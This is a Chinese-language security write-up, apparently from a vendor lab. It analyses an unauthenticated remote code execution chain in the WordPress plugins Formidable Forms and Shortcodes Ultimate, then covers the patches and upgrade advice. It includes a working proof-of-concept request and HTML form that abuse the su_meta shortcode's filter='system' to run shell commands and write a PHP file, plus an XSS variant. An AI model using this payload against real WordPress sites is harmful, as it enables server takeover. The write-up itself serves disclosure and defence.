0x00 漏洞概述

在前段时间，WordPress修复了两个插件的漏洞–Shortcodes Ultimate和formidable forms，其中Shortcodes Ultimate的下载量在70W+，而formidable forms的下载量在20W+,影响的范围比较广泛。

这个漏洞主要是由formidable forms引起的，该插件无需任何权限便可预览表单，然而对上传的html代码没有做任何检验，所以导致了包括xss和shortcode执行等在内的一系列问题。而Shortcodes Ultimate可以自定义shortcode，两者结合就可以造成严重的远程代码执行漏洞，而且无需任何权限。

 

0x01 漏洞分析

利用条件：

插件:Shortcodes Ultimate<=5.0.0

插件:formidable forms <= 2.0.5.1

我们的分析思路从文后附录的POC开始。 

POST /wp-admin/admin-ajax.php HTTP/1.1 action=frm_forms_preview&form={‘asdf-asdf’}&before_html=[su_meta key=1 post_id=1 default= [su_meta key=1 post_id=1 default='echo 1 > wp_rce.txt' filter='system']&custom_style=1

action=frm_forms_preview

tips：

WordPress插件的执行流程：

申明一个add_action，将tag绑定一个函数，类似于route

然后通过do_action或者ajax来调用

所以从action=frm_forms_preview来入手，搜索frm_forms_preview

在FrmHooksController.php中的load_ajax_hooks函数 

add_action( 'wp_ajax_frm_forms_preview', 'FrmFormsController::preview' );
add_action( 'wp_ajax_nopriv_frm_forms_preview', 'FrmFormsController::preview' );

可以看出，frm_forms_preview动作绑定在preview函数上 

public static function preview() {

do_action( 'frm_wp' ); global $frm_vars;

$frm_vars['preview'] = true; if ( ! defined( 'ABSPATH' ) && ! defined( 'XMLRPC_REQUEST' ) ) { global $wp;

$root = dirname( dirname( dirname( dirname( __FILE__ ) ) ) ); include_once( $root . '/wp-config.php' );

$wp->init();

$wp->register_globals();

}



header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );



$key = FrmAppHelper::simple_get( 'form', 'sanitize_title' ); if ( $key == '' ) {

$key = FrmAppHelper::get_post_param( 'form', '', 'sanitize_title' );

}



$form = FrmForm::getAll( array( 'form_key' => $key ), '', 1 ); if ( empty( $form ) ) {

$form = FrmForm::getAll( array(), '', 1 );

} require( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/direct.php' );

wp_die();

}

preview调用direct.php，而direct.php调用show_form函数来展示页面 

public static function show_form( $id = '', $key = '', $title = false, $description = false, $atts = array() ) {

…

… if ( self::is_viewable_draft_form( $form ) ) { // don't show a draft form on a page $form = __( 'Please select a valid form', 'formidable' );

} else if ( self::user_should_login( $form ) ) {

$form = do_shortcode( $frm_settings->login_msg );

} else if ( self::user_has_permission_to_view( $form ) ) {

$form = do_shortcode( $frm_settings->login_msg );

} else {

$form = self::get_form( $form, $title, $description, $atts ); /**

* Use this shortcode to check for external shortcodes that may span

* across multiple fields in the customizable HTML

* @since 2.0.8

*/ $form = apply_filters( 'frm_filter_final_form', $form );

} return $form;

}

此时的frm_settings

可以看到login_msg，我们是不需要登录的

所以show_form走的是else流程 

$form = self::get_form( $form, $title, $description, $atts ); /**

* Use this shortcode to check for external shortcodes that may span

* across multiple fields in the customizable HTML

* @since 2.0.8

*/ $form = apply_filters( 'frm_filter_final_form', $form );

调用get_form函数 

public static function get_form( $form, $title, $description, $atts = array() ) {

ob_start(); self::get_form_contents( $form, $title, $description, $atts ); self::enqueue_scripts( FrmForm::get_params( $form ) );



$contents = ob_get_contents();

ob_end_clean(); self::maybe_minimize_form( $atts, $contents ); return $contents;

}

调用get_from_contents

而get_form_contents 

if ( $params['action'] != 'create' || $params['posted_form_id'] != $form->id || ! $_POST ) {

do_action('frm_display_form_action', $params, $fields, $form, $title, $description); if ( apply_filters('frm_continue_to_new', true, $form->id, $params['action']) ) {

$values = FrmEntriesHelper::setup_new_vars($fields, $form); include( FrmAppHelper::plugin_path() . '/classes/views/frm-entries/new.php' );

} return;

}

调用了setup_new_vars函数，

setup_new_vars函数将post请求的内容取出来存放在value数组中

然后调用了new.php,而new.php调用form.php，

form.php调用replace_shortcodes 

<?php echo FrmFormsHelper::replace_shortcodes( $values['before_html'], $form, $title, $description ); ?>

并将before_html的值传入

replace_shortcode函数对$html做一系列过滤，并最终调用 

if ( apply_filters( 'frm_do_html_shortcodes', true ) ) { $html = do_shortcode( $html );

}

此时的$html就是before_html的值

do_shortcode函数执行shortcode

我们看看do_shortcode函数 

* @since 2.5.0 *

* @global array $shortcode_tags List of shortcode tags and their callback hooks.

*

* @param string $content Content to search for shortcodes.

* @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.

* @return string Content with shortcodes filtered out.

*/ function do_shortcode( $content, $ignore_html = false ) { global $shortcode_tags; if ( false === strpos( $content, '[' ) ) { return $content;

} if (empty($shortcode_tags) || !is_array($shortcode_tags)) return $content;

...

注释上写的很清楚，如果传入的$shortcode_tags存在于全局变量中的话，就会调用相应的hook函数，如果不存在就原样输出。

此时再来看一下我们的payload， 

before_html=[su_meta key=1 post_id=1 default=''echo 1 > wp_rce.txt' filter='system']

$shortcode_tags=su_meta

而Shortcodes Ultimate插件的load.php将su_meta注册了，所以就会调用su_meta对应的函数

在Shortcodes Ultimate插件的inc\core\load.php中会将inc\core\data.php中shortcodes数组里里存在的标签遍历一遍，然后通过add_shortcode注册 

public static function register() { // Prepare compatibility mode prefix $prefix = su_cmpt(); // $prefix=su_ // Loop through shortcodes foreach ( ( array ) Su_Data::shortcodes() as $id => $data ) { if ( isset( $data['function'] ) && is_callable( $data['function'] ) ) $func = $data['function']; elseif ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id ); elseif ( is_callable( array( 'Su_Shortcodes', 'su_' . $id ) ) ) $func = array( 'Su_Shortcodes', 'su_' . $id ); else continue; // Register shortcode add_shortcode( $prefix . $id, $func );

} // Register [media] manually // 3.x add_shortcode( $prefix . 'media', array( 'Su_Shortcodes', 'media' ) );

}



}

而shortcodes数组存在meta标签，所以走的是 

else if ( is_callable( array( 'Su_Shortcodes', $id ) ) ) $func = array( 'Su_Shortcodes', $id );

这个条件

而inc\core\shortcodes.php中存在meta函数， 

public static function meta( $atts = null, $content = null ) {

$atts = shortcode_atts( array( 'key'     => '', 'default' => '', 'before'  => '', 'after'   => '', 'post_id' => '', 'filter'  => '' ), $atts, 'meta' ); // Define current post ID if ( !$atts['post_id'] ) $atts['post_id'] = get_the_ID(); // Check post ID if ( !is_numeric( $atts['post_id'] ) || $atts['post_id'] < 1 ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'post ID is incorrect', 'shortcodes-ultimate' ) ); // Check key name if ( !$atts['key'] ) return sprintf( '<p class="su-error">Meta: %s</p>', __( 'please specify meta key name', 'shortcodes-ultimate' ) ); // Get the meta $meta = get_post_meta( $atts['post_id'], $atts['key'], true ); // Set default value if meta is empty if ( !$meta ) $meta = $atts['default']; // Apply cutom filter if ( $atts['filter'] && function_exists( $atts['filter'] ) ) $meta = call_user_func( $atts['filter'], $meta ); // Return result return ( $meta ) ? $atts['before'] . $meta . $atts['after'] : '';

而meta函数中最重要的一句就是$meta = call_user_func( $atts[‘filter’], $meta );

会将filter的值作为处理函数，处理meta的内容。而meta来自于default的值

而我们传入的是[su_meta key=1 post_id=1 default=’echo 1 > wp_rce.txt’ filter=’system’]

就利用system函数执行了我们的短代码

 

0x02 漏洞验证

Poc： 

<html> <body> <h2>payload:</h2>[su_meta key=1 post_id=1 default='echo &#60;?php phpinfo();?&#62; > ../wp-content/wp_rce.php' filter='system'] <form action="http://127.0.0.1/wordpress/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value='frm_forms_preview' /> <input type="hidden" name="form" value="{'contact-form'}" /> <input type="hidden" name="before_html" value="[su_meta key=1 post_id=1 default='echo ^<?php phpinfo();?^> > ../wp-content/wp_rce.php' filter='system']" /> <input type="hidden" name="custom_style" value="1" /> <input type="submit" value="Submit" /> </form> </body>

将上述poc保存为html之后，点击submit，访问http://127.0.0.1/wordpress/wp-content/wp_rce.php

同样的原理，如果将payload改为

<script>alert(‘XSS’)</script>

就会造成xss

 

0x03 补丁分析

formidable forms在新版本中修改了setup_new_vars函数

存在漏洞版本： 

foreach ( $form->options as $opt => $value ) {

$values[ $opt ] = FrmAppHelper::get_post_param( $opt, $value ); unset($opt, $value);}
$values = array_merge( $values, $form->options );

可以看出，跳过了get_post_param函数，并没有取出post中的值修复版本：

Shortcodes Ultimate在新版本中添加了对filter函数的检验

存在漏洞版本： 

'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"

修复版本： 

'desc' => __( 'You can apply custom filter to the retrieved value. Enter here function name. Your function must accept one argument and return modified value. Name of your function must include word <b>filter</b>. Example function: ', 'shortcodes-ultimate' ) . "<br /><pre><code style='display:block;padding:5px'>function my_custom_filter( \$value ) {\n\treturn 'Value is: ' . \$value;\n}</code></pre>"

可以看出filter函数必须包含filter字符串

 

0x04 防护建议

如果使用到了这两款插件，请尽快升级：

formidable forms升级至2.05.07

Shortcodes Ultimate升级至5.0.1

 

0x05 参考文章

https://www.pluginvulnerabilities.com/2017/11/09/vulnerability-details-shortcode-execution-vulnerability-in-formidable-forms/

任何问题可以联系我[email protected]

本文由安全客原创发布 , 作者：蔡思阳@360天眼实验室
如若转载，请注明出处： https://www.anquanke.com/post/id/88067